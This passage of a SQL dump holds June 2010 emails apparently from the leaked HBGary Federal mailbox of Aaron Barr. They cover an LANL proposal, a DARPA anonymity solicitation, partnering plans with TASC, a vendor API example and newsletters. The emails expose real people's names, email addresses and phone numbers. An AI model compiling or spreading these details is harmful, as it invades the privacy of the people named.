\r\n',6047,'aaron_hbgary_com/6047.html'),(7309,'2010-06-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005330.M839495P14101Q2164.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','Disregard I found the due date. 18th.\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 2:36 PM, Aaron Barr  wrote:\r\n\r\n> Got a voicemail from ira.  The rfp is not for cpwtition reasons but\r\n> for\r\n> documentation and process.\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> Begin forwarded message:\r\n>\r\n> *From:* Ira Entis \r\n> *To:* Aaron Barr \r\n> *Cc:* Jerry McClure , Mari Jo Boynton  MariJo.Boynton@agilex.com>\r\n> *Subject:* *LANL*\r\n>\r\n> Aaron --\r\n>\r\n> Per my voicemail, we would like your input on the pieces highlighted\r\n> in\r\n> yellow in the attached doc.  Also, give me a shout to catch up about\r\n> my\r\n> conversation with the client.\r\n>\r\n> - ira\r\n> \r\n> \r\n',10085,'aaron_hbgary_com/10085.html'),(7310,'2010-06-11','\"Jim Garrettson\" <jimg@executivebiz.com>','/aaron@hbgary.com/new/1297005331.M307272P14101Q2166.eml','\"Scott  Rogers\" <scott@executivebiz.com>','4x24 needs your mailing addresses','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs part of your 4x24 membership, you can\r\nsend the printed version of GovConExec magazine to up to 10 people at no cost\r\n($400 value).\r\n\r\n&nbsp;\r\n\r\nThe upcoming edition, entitled &#8220;The World\r\nis a Dangerous Place&#8221;,\r\nfeatures over 60 pages of news and info geared for executives in Government Contracting.\r\nThis month&#8217;s cover features Jack London.\r\n\r\n&nbsp;\r\n\r\nPlease email your mailing addresses to Scott@executivebiz.com\r\n\r\n&nbsp;\r\n\r\nBest\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\nJim Garrettson\r\n\r\nPresident&nbsp; &amp; Founder\r\n\r\nExecutiveBiz / Potomac\r\nOfficers Club\r\n\r\n(703) 752-7450\r\n\r\nSign up for our Blog at www.executivebiz.com\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8586,'aaron_hbgary_com/8586.html'),(7311,'2010-06-11','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005331.M534497P14101Q2167.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Joseph Ghannam and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 11, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (2)\r\n       \r\n         \r\n           WTI Concept &amp; Capability Development - TS/SCI &#x2013; DC METRO/ Charlottesville, VA\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n       \r\n         \r\n           WTI Policy Development &#x2013; TS/SCI &#x2013; DC METRO/ Charlottesville, VA\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 65 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',5037,'aaron_hbgary_com/5037.html'),(7312,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005331.M57390P14101Q2165.eml','\"Ted Vera\" <ted@hbgary.com>','Re: LANL','We need to talk to ira.\r\n\r\n From my iPhone\r\n\r\nOn Jun 11, 2010, at 3:12 PM, Ted Vera  wrote:\r\n\r\n> When is this due?\r\n>\r\n>\r\n>\r\n> On Jun 11, 2010, at 2:36 PM, Aaron Barr  wrote:\r\n>\r\n>> Got a voicemail from ira.  The rfp is not for cpwtition reasons but\r\n>> for\r\n>> documentation and process.\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> Begin forwarded message:\r\n>>\r\n>> *From:* Ira Entis \r\n>> *To:* Aaron Barr \r\n>> *Cc:* Jerry McClure , Mari Jo Boynton > MariJo.Boynton@agilex.com>\r\n>> *Subject:* *LANL*\r\n>>\r\n>> Aaron --\r\n>>\r\n>> Per my voicemail, we would like your input on the pieces highlighted\r\n>> in\r\n>> yellow in the attached doc.  Also, give me a shout to catch up about\r\n>> my\r\n>> conversation with the client.\r\n>>\r\n>> - ira\r\n>> \r\n>> \r\n',13979,'aaron_hbgary_com/13979.html'),(7313,'2010-06-11','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297005331.M775625P14101Q2168.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <hoglund@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: DARPA Safer Broad Agency Announcement','Anything here of interest? &nbsp;Just checking.Begin forwarded message:From: Neal Smith &lt;smith@webloq.com&gt;Date: June 7, 2010 5:44:15 PM EDTTo: John Edwards &lt;John.Edwards@agilex.com&gt;Subject: DARPA Safer Broad Agency AnnouncementHi John,&nbsp;This BAA came to my attention last week. I have read through the entire announcement and believe we already have two out of the three elements that are mentioned in the introduction. The first element, preventing an IP address from being black listed, is a real challenge but we may be able to come up with a solution and could use that research project as the basis for the grant.&nbsp; The next two elements we already have in our technology. Under the grant, we could also expand into the other protocols, which is part of the BAA offering.&nbsp;Would Agilex be interested in working with us to attain this grant?&nbsp; I am sure that you have staff that have done projects similar to this and if they are available, we would have approximately 30 days to work on it prior to submittal. Please let me know if this would be of interest and then we can discuss how to proceed.&nbsp;SAFER WARFIGHTER COMMUNICATIONSBroad Agency AnnouncementDARPA-BAA-10-69May 20, 2010Due Date:&nbsp;&nbsp; July 7, 2010&nbsp;Here is the intro………&nbsp;Part Two: Full Text of AnnouncementI. FUNDING OPPORTUNITY DESCRIPTION&nbsp;DARPA is soliciting proposals for innovative research to maintain technological superiority in the area of resilient communications, privacy, and anonymity on the Internet. The proposed research should investigate innovative approaches that enable revolutionary advances in science, devices, or systems. Specifically excluded is research that primarily results in evolutionary improvements to the existing state of practice.&nbsp;IntroductionThe goal of the Safer Warfighter Communications (SAFER) program is to develop technology that will enable safe, resilient communications over the Internet, particularly in situations in which a third-party is attempting to discover the identity or location of the end users, or block the communication. The technology developed in the program will also provide the quality of service (QoS) required to support applications such as instant messaging, electronic mail, social networking, streaming video, voice over Internet protocol (VoIP), video conferencing, and other media that promote effective communication.&nbsp;The SAFER program addresses the resilience of information distribution and access on the Internet, including any and all technologies that allow anonymous Internet communications to bypass techniques that suppress, localize, and/or corrupt information such as:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Internet Protocol (IP)-address filtering or “blocking,” typically by blacklisting the IP addresses of websites or other services, possibly by the network operator, to deny the user access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Domain Naming Service (DNS) hijacking, redirecting a user to a different website or service from what the user intended, by supplying a false reply to the user’s domain name resolution request&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content filtering that captures and analyzes the content of the user’s network traffic through deep packet inspection to check whether the traffic contains predefined signatures or sensitive keywords.&nbsp;Preparing such a proposal is likely beyond our current resources, so we need a partner and Agilex is the most likely candidate. They have the connections to turn up the real agenda behind this project, and could well be positioned to make their presence felt.&nbsp;The submittal date is July 7, so haven’t much time to get this together. &nbsp;&nbsp;http://www.darpa.mil/tcto/solicitations/BAA-10-69.html&nbsp;Best,&nbsp;Neal SmithPresident &amp; CEO&nbsp;2801 Monterey Highway, Suite H&nbsp;&nbsp;|&nbsp;&nbsp;Monterey, CA 93940p: (831) 372-2600&nbsp;&nbsp;|&nbsp;&nbsp;f: (831) 372-1600&nbsp;&nbsp;|&nbsp;&nbsp;c: (831) 809-4049email:&nbsp;smith@webloq.com&nbsp;–&nbsp;smith@webloq.private&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.webloq.com&nbsp;-&nbsp;www.loqmail.com&nbsp;&nbsp;',13409,'aaron_hbgary_com/13409.html'),(7314,'2010-06-11','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297005332.M37748P14101Q2169.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','RE: Technical Strategy','How did the rest of the meeting with Cipher go?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 09, 2010 10:20 PM\r\nTo: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A\r\n(TASC); Lovegrove, John (TASC)\r\nSubject: Technical Strategy\r\n\r\nAll,\r\n\r\nAfter our conversation today and thinking about a possible framework I\r\nsee a very powerful offering assuming we can get these partners.  The\r\nbelow team represents in my opinion a winning team.  Framework is\r\noverall PMO that coordinates trusted US partners to exercise commercial\r\nrelationships to execute requirements.  Some team mates are silent\r\npartners for consulting and lead relationships.\r\n\r\n',12524,'aaron_hbgary_com/12524.html'),(7315,'2010-06-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005332.M416953P14101Q2170.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Nearly Complete','No I got that, I was just correcting the sentence (AND was my addition)  and\r\nthen on the back of the datasheet, there is an IPhone and some blurb a bout\r\nexploitation.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 11, 2010 11:28 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Nearly Complete\r\n\r\nok I am obviously not getting my larger message across which is to be truely\r\neffective you have to have knowledge of and capabilities in threat\r\nintelligence, incident response, and information operations, or the mind,\r\nthe sword, and the shield and we have capabilities in all three. So I\r\nbriefly go into each of these areas and describe our discriminators.\r\n\r\nSpecifically in Incident Response we believe we have discriminators because\r\nwe have connected C&C, session network data, and binary data into a IR\r\npackage.\r\n\r\nRelated to Threat Intelligence.  Lots of technology companies say they can\r\ndo Threat Intelligence yet they only analyze data in a specific domain.  If\r\nyou are not building threat maps in a graphical tool using at least binary,\r\nnetwork, C&C, and social data then your not really doing threat\r\nintelligence.\r\n\r\nThe Information Operations is there to describe generically our offensive\r\ncapabilities.  Can\'t talk to much about it but its there and it helps to\r\nshape our ability in threat intelligence and incident response as well.\r\n\r\nI will put a some more work into it.\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 12:53 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> At the core is HBGary\'s Active Defense(tm) software\r\n> managing enterprise malware analysis at the end points AND\r\n> leveraging patent pending Digital DNA(tm). Active\r\n> Defense detects advanced, unknown malware and\r\n> exploitation tools without signatures or prior knowledge\r\n> of the threat.\r\n> \r\n> \r\n> Question, why the blurb on the back about exploitation and new\r\ntechnologies?\r\n> \r\n> ---Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 10, 2010 8:57 PM\r\n> To: Greg Hoglund; Penny Leavy; Rich Cummings; Bob Slapnik\r\n> Subject: Nearly Complete\r\n> \r\n> Pse comments welcome.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',3738,'aaron_hbgary_com/3738.html'),(7316,'2010-06-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005333.M643095P14101Q2171.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: API','Begin forwarded message:From: &quot;Harvey, Kevin&quot; &lt;kevin.harvey@fidelissecurity.com&gt;\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: Mark Trynor &lt;mark@hbgary.com&gt;Subject: API\r\nAPI guide. And an example.  Hope the call today was helpful to get youstarted.  I look forward to what you are working on!  Sounds cool.\r\nKevin HarveyUse/FSS/html/query/tcpses_getdpath.cgi --user=&lt;user&gt; --pass=&lt;password&gt;\r\n--alert_id=2248The output should look something like...---------------------Status: 200 OKContent-type: text/tab-separated-values\r\nContent-disposition: filename=&quot;tcpses_getdpath.tsv&quot;x-rows: 1Decoding Path:SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCP\r\nS.doc):base64:ms-word----------------------Next, call/FSS/html/query/tcpses_getfile.cgi --user=&lt;user&gt; --pass=&lt;password&gt;--alert_id=2248 --params=&quot;:SMTP[1]:mime&quot;\r\nthat should be mime output. looks like there is another part, for theattachement at.../FSS/html/query/tcpses_getfile.cgi --user=&lt;user&gt; --pass=&lt;password&gt;\r\n--alert_id=2248--params=&quot;:SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc)&quot;Basically, use as much of the path as you need. Just start from the\r\nbeginning. Here&#39;s the list of valid paths in this example...1):SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc):base64:ms-word\r\n2):SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc):base643):SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCP\r\nS.doc)4) :SMTP[1]:mime:multipart[3]5) :SMTP[1]:mime6) :SMTP[1]Kevin Harvey | Senior Sales Engineer| Fidelis Security Systems, Inc.\r\n(615) 538-8007 | kevin.harvey@fidelissecurity.com | &lt;blocked::www.fidelissecurity.com&gt; www.fidelissecurity.com\r\n&lt;http://www.fidelissecurity.com/&gt; Fidelis&#39; Deep-Session Inspection Engine(tm) --check out the videos ofwhat it can do at http://www.youtube.com/fidsecsys\r\n&lt;http://www.youtube.com/fidsecsys&gt; .\r\n',11196,'aaron_hbgary_com/11196.html'),(7317,'2010-06-11','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297005333.M896363P14101Q2172.eml','aaron@hbgary.com','DISA, DLA, MHS & other DoD Agencies at the 2nd Annual Warfighter Support Agencies IT Day (formerly Combat Support IT Day) - July 15, Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs - Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n        www.afceanova.org/agenciesitday\r\n      Speakers\r\n      \r\n        Gen. \r\n          Keith P. Chilton, USAF - Commander, USSTRATCOM (invited)\r\n        LtGen \r\n          John M. Paxton, USMC - Director for Operations (J-3), The Joint \r\n          Staff (invited)\r\n        LTG \r\n          Michael L. Oates, USA - Director, Joint IED Defeat Organization \r\n          (JIEDDO)\r\n        Maj. \r\n          Gen. Ronnie D. Hawkins, USAF - Vice Director, Defense Information \r\n          Systems Agency (DISA) (confirmed)\r\n        BG \r\n          Brian J. Donahue, USA - J6, U.S. Central Command (USCENTCOM) \r\n          (invited)\r\n        Mr. \r\n          Charles Campbell - CIO, MHS (confirmed)\r\n        Mr. \r\n          David Fisher - Director, Defense Business Transformation Agency \r\n          (BTA) (confirmed)\r\n        Mr. \r\n          Anthony &#8220;Tony&#8221; Montemarano - Component Acquisition \r\n          Executive, Defense Information Systems Agency (DISA) (confirmed)\r\n        Ms. \r\n          Paige Atkins - Director of the Strategic Planning and Information \r\n          Directorate, Defense Information Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Thomas Michelli - Director Enterprise Solutions, Defense Logistics \r\n          Agency (DLA) (confirmed)\r\n        Mr. \r\n          Henry Sienkiewicz - CIO, Defense Information Systems Agency \r\n          (DISA) (confirmed)\r\n        Mr. \r\n          Dave Bennett - Dep PEO-GES, Defense Information Systems Agency \r\n          (DISA) (confirmed)\r\n        Mr. \r\n          Martin Gross - Dep PEO-C2C, Defense Information Systems Agency \r\n          (DISA) (confirmed)\r\n      \r\n      AFCEA \r\n        NOVA leads the way in focusing industry&#8217;s attention on IT capabilities \r\n        that are important to the Department of Defense by presenting the 2nd \r\n        Annual &quot;Warfighter Support Agencies IT Day&quot; (formerly named \r\n        Combat Support IT Day). This event goes beyond the Uniformed Services \r\n        &amp; focuses on the Agencies and Commands who Support the Warfighter \r\n        in their operational &amp; business missions.\r\n      This one \r\n        day conference presents an outstanding opportunity to hear from the key \r\n        DoD organizations providing vital IT systems and capabilities to support \r\n        our Warfighting Services. The theme is &#8220;Warfighter IT Support &#8211; \r\n        Challenges &amp; Needs - Solutions &amp; Capabilities&#8221; and the speakers \r\n        will address their visions, requirements, challenges, strategies, and \r\n        potential procurements.\r\n      Why \r\n        Should You Attend?\r\n      \r\n        If you \r\n          are serving our nation in uniform or through civil service, this provides \r\n          a unique opportunity for professional development - with access to senior \r\n          leaders in Government and Industry.\r\n        If you \r\n          are in industry, or other organization supporting our military Agencies \r\n          &amp; Services, then this is one of the best events in the region to \r\n          help you identify opportunities to grow your business in this market \r\n          space.\r\n         Together \r\n          the agencies represented spend billions on a wide variety of IT services \r\n          and products!!!\r\n      \r\n      Mark \r\n        your calendars for July 15th and register now online:\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Meetings \r\n          - runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              Agencies \r\n                IT Day Links\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              About \r\n                      Agencies IT Day\r\n                      Speakers \r\n                      &amp; Program\r\n                      Sponsors\r\n                      Venue \r\n                      &amp; Directions\r\n                      Registration \r\n                      \r\n                    \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Diamond Sponsor\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                \r\n              \r\n            \r\n          \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Gold Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n\r\n      \r\n        \r\n          \r\n            \r\n              Follow AFCEA NOVA on\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n        \r\n      \r\n      \r\n      \r\n       \r\n    \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',6955,'aaron_hbgary_com/6955.html'),(7318,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005334.M125566P14101Q2173.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: LANL','Hey ira,\r\n\r\nSorry it\'s late.  Do you wante to give you a call this weekend or\r\nMonday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n\r\n> Aaron --\r\n>\r\n> Per my voicemail, we would like your input on the pieces highlighted\r\n> in yellow in the attached doc.  Also, give me a shout to catch up\r\n> about my conversation with the client.\r\n>\r\n> - ira\r\n>\r\n>\r\n> \r\n> \r\n',8946,'aaron_hbgary_com/8946.html'),(7319,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005334.M334244P14101Q2174.eml','\"Hoglund Greg\" <greg@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>','IPad Apps','Here\'s my short must-have app list:\r\n\r\nBento - database app\r\nABC player\r\nNetflix\r\nWebex\r\nZinio\r\nPandora\r\nDocsToGo - view, edit and create Google Docs\r\nGotoMeeting\r\n',8051,'aaron_hbgary_com/8051.html'),(7320,'2010-06-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005334.M541102P14101Q2175.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: IPad Apps','I would add:\r\nPopplet\r\nPandora\r\nTodo\r\nNewsrack\r\nTwitterrific\r\nRealRacingHD\r\n\r\nOn Jun 11, 2010, at 10:32 PM, Ted Vera wrote:\r\n\r\n> Here\'s my short must-have app list:\r\n> \r\n> Bento - database app\r\n> ABC player\r\n> Netflix\r\n> Webex\r\n> Zinio\r\n> Pandora\r\n> DocsToGo - view, edit and create Google Docs\r\n> GotoMeeting\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11174,'aaron_hbgary_com/11174.html'),(7321,'2010-06-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005334.M790786P14101Q2176.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Strategy','\r\n\r\n\r\n\r\n\r\nRE: Technical Strategy\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\nWe made some changes to the current project scope.&nbsp; Aaron is very helpful in designing the perfect strategy.&nbsp; I have Richard King to help me out for another week before he takes a new job.&nbsp; I think I have a bead on some other folks that can help though.&nbsp; Cipher looks like a great partner and have asked Tori K. to start a TA with Cipher and Essential.&nbsp; Both very strong candidates to help out.&nbsp;\r\n\r\nDave N. and I (if I can break away from current duties) will put together a point by point briefing paper for seniors that may be able to socialize our strategy up the chain on the customer side next week.\r\n\r\nOne organizational strategy Dave N. and I had was to establish the IDIQ partnerships with our patners right now so when the RFP comes out, we already have our agreements in place and it is a matter of funding the requirements from the customer.&nbsp; This is crucial to understand each sub capability and contribution.\r\n\r\nI believe this to be an aggressive move, but puts us in operational mode once the RFP hits and cuts down on any transition plan.&nbsp; As an IDIQ contract, it does not obligate funding but serves as an agreement that we will/can do business together.&nbsp; To do this, I need to meet with a CO and figure out what a blanket IDIQ agreement looks like, strip it down (to 4-5 pages) and pass it thorough our lawyers.&nbsp; Once it is approved, that is our NDA, and TA for all our teammates and partners.\r\n\r\nSimple, right!&nbsp; One agreement that everyone signs to get into the &quot;club&quot;.&nbsp; Additionally, I plan to use Richard King (or alternate) to research other useful companies to add to the roster.&nbsp; The objective here is to not be single threaded, but to have multiple avenues to get the job(s) done.&nbsp; This is the fun part!\r\n\r\nOther than that, the meeting was successful.\r\n\r\nHappy weekend everyone!&nbsp; I thank you for your support and can\'t wait to write the next chapter!\r\n\r\nChris&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC)\r\nSent: Fri 6/11/2010 6:07 PM\r\nTo: Aaron Barr; Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC)\r\nSubject: RE: Technical Strategy\r\n\r\nHow did the rest of the meeting with Cipher go?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, June 09, 2010 10:20 PM\r\nTo: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC); Lovegrove, John (TASC)\r\nSubject: Technical Strategy\r\n\r\nAll,\r\n\r\nAfter our conversation today and thinking about a possible framework I see a very powerful offering assuming we can get these partners.&nbsp; The below team represents in my opinion a winning team.&nbsp; Framework is overall PMO that coordinates trusted US partners to exercise commercial relationships to execute requirements.&nbsp; Some team mates are silent partners for consulting and lead relationships.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10862,'aaron_hbgary_com/10862.html'),(7322,'2010-06-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005335.M275872P14101Q2178.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: IPad Apps','Playing with iPad....\r\n\r\n\r\nOn Friday, June 11, 2010, Ted Vera  wrote:\r\n> Ok, that\'s the second time you recommended popplet, I\'m downloading\r\n> the free lite version now.\r\n>\r\n> On Jun 11, 2010, at 8:40 PM, Aaron Barr  wrote:\r\n>\r\n>> I would add:\r\n>> Popplet\r\n>> Pandora\r\n>> Todo\r\n>> Newsrack\r\n>> Twitterrific\r\n>> RealRacingHD\r\n>>\r\n>> On Jun 11, 2010, at 10:32 PM, Ted Vera wrote:\r\n>>\r\n>>> Here\'s my short must-have app list:\r\n>>>\r\n>>> Bento - database app\r\n>>> ABC player\r\n>>> Netflix\r\n>>> Webex\r\n>>> Zinio\r\n>>> Pandora\r\n>>> DocsToGo - view, edit and create Google Docs\r\n>>> GotoMeeting\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n',14332,'aaron_hbgary_com/14332.html'),(7323,'2010-06-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005335.M478940P14101Q2179.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: IPad Apps','Popplet crashes every time I try to insert an image..\r\n\r\nOn Jun 11, 2010, at 8:52 PM, Greg Hoglund  wrote:\r\n\r\n> Playing with iPad....\r\n>\r\n>\r\n> On Friday, June 11, 2010, Ted Vera  wrote:\r\n>> Ok, that\'s the second time you recommended popplet, I\'m downloading\r\n>> the free lite version now.\r\n>>\r\n>> On Jun 11, 2010, at 8:40 PM, Aaron 